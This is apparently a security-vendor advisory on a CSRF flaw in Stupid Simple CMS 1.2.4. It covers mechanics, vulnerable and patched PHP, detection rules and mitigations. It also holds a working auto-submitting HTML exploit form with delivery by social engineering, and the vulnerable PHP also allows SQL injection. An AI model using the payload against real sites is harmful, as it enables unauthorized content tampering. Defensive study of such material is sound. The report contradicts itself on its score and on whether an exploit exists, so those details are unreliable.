CVE-2024-27689

Executive Summary

CVE-2024-27689 identifies a Cross-Site Request Forgery (CSRF) vulnerability in Stupid Simple CMS version 1.2.4. The flaw resides in the /update-article.php endpoint, allowing an attacker to trick an authenticated administrator into performing unintended actions, such as modifying or deleting articles. With a CVSS score of 0.0 (likely unassigned or placeholder), the actual risk is elevated due to the lack of CSRF tokens. No official patch is available, and no public exploit code or Nuclei template has been released. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must be logged in)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. The vulnerability allows an attacker to perform state-changing operations on behalf of an authenticated admin without their consent, potentially leading to full site compromise.

Deep Dive & Mechanics

The CSRF vulnerability in Stupid Simple CMS v1.2.4 arises from the absence of anti-CSRF tokens in the /update-article.php endpoint. When an authenticated admin visits a malicious page crafted by an attacker, the attacker can forge a request to update or delete articles. The attack flow:

1. Prerequisite: Admin is logged into Stupid Simple CMS.
2. Attack Vector: Attacker hosts a malicious HTML page containing an auto-submitting form or an image tag pointing to /update-article.php with crafted parameters.
3. Execution: The admin’s browser sends the forged request, including their session cookies, to the CMS server.
4. Impact: The server processes the request as legitimate, modifying or deleting articles without the admin’s knowledge.

Key Vulnerability: No CSRF token validation on state-changing endpoints.

Vulnerable vs. Patched Code

Vulnerable Code (v1.2.4):

// update-article.php (simplified)
<?php
session_start();
// No CSRF token check
$id = $_POST['id'];
$title = $_POST['title'];
$content = $_POST['content'];
// Update database
$db->query("UPDATE articles SET title='$title', content='$content' WHERE id=$id");
?>

Patched Code (hypothetical):

<?php
session_start();
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF validation failed');
}
$id = $_POST['id'];
$title = $_POST['title'];
$content = $_POST['content'];
// Use prepared statements to prevent SQL injection
$stmt = $db->prepare("UPDATE articles SET title=?, content=? WHERE id=?");
$stmt->bind_param("ssi", $title, $content, $id);
$stmt->execute();
?>

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

• Install Stupid Simple CMS v1.2.4 on a local server (e.g., XAMPP).
• Create an admin account and log in.
• Host a malicious HTML page on a separate domain.

Exploit Payload (malicious.html):

<!DOCTYPE html>
<html>
<body>
<form action="http://target-site/update-article.php" method="POST" id="csrf-form">
    <input type="hidden" name="id" value="1">
    <input type="hidden" name="title" value="Hacked">
    <input type="hidden" name="content" value="This article has been compromised via CSRF.">
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

Execution:

1. Send the malicious link to the admin (e.g., via email or social engineering).
2. When the admin clicks, the form auto-submits, modifying article ID 1.

Blue Team (Defense & Detection)

Detection Steps:

• Monitor for unexpected POST requests to /update-article.php from unusual referrers.
• Implement CSRF tokens in all state-changing forms.
• Use SameSite cookies (Lax or Strict) to mitigate cross-site requests.

Log Analysis:

# Apache access log
grep "POST /update-article.php" /var/log/apache2/access.log | awk '{print $1, $7, $11}'

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /update-article.php with unexpected referrer headers (e.g., from attacker-controlled domains).
• File: Modified article content in the database without corresponding admin action.
• Log: Repeated POST requests to /update-article.php from the same IP within a short timeframe.

Detection Engineering

YARA Rule

rule detect_csrf_stupid_simple_cms {
    meta:
        description = "Detects CSRF exploitation attempts against Stupid Simple CMS v1.2.4"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-27689"
    strings:
        $post_request = "POST /update-article.php" ascii wide nocase
        $referrer_anomaly = "Referer: http://" ascii wide nocase
    condition:
        $post_request and #referrer_anomaly > 0
}

Sigma Rule

title: CSRF Attempt Against Stupid Simple CMS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential CSRF attacks targeting /update-article.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/update-article.php'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27689 CSRF Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/update-article.php"; http.referer; content:!"http://legitimate-domain.com"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the /update-article.php endpoint if not required, or restrict access via .htaccess:

   <Files "update-article.php">
       Require ip 127.0.0.1
   </Files>
   

2. Code Fix: Implement CSRF tokens in all forms and validate them server-side.
3. Configuration: Set SameSite cookie attribute to Lax or Strict:

   session_set_cookie_params(['samesite' => 'Lax']);
   

4. Monitoring: Deploy the provided detection rules to identify exploitation attempts.
5. Upgrade: Monitor the vendor for a patched version; if unavailable, consider migrating to a supported CMS.

Valters IT
Securing Digital Frontiers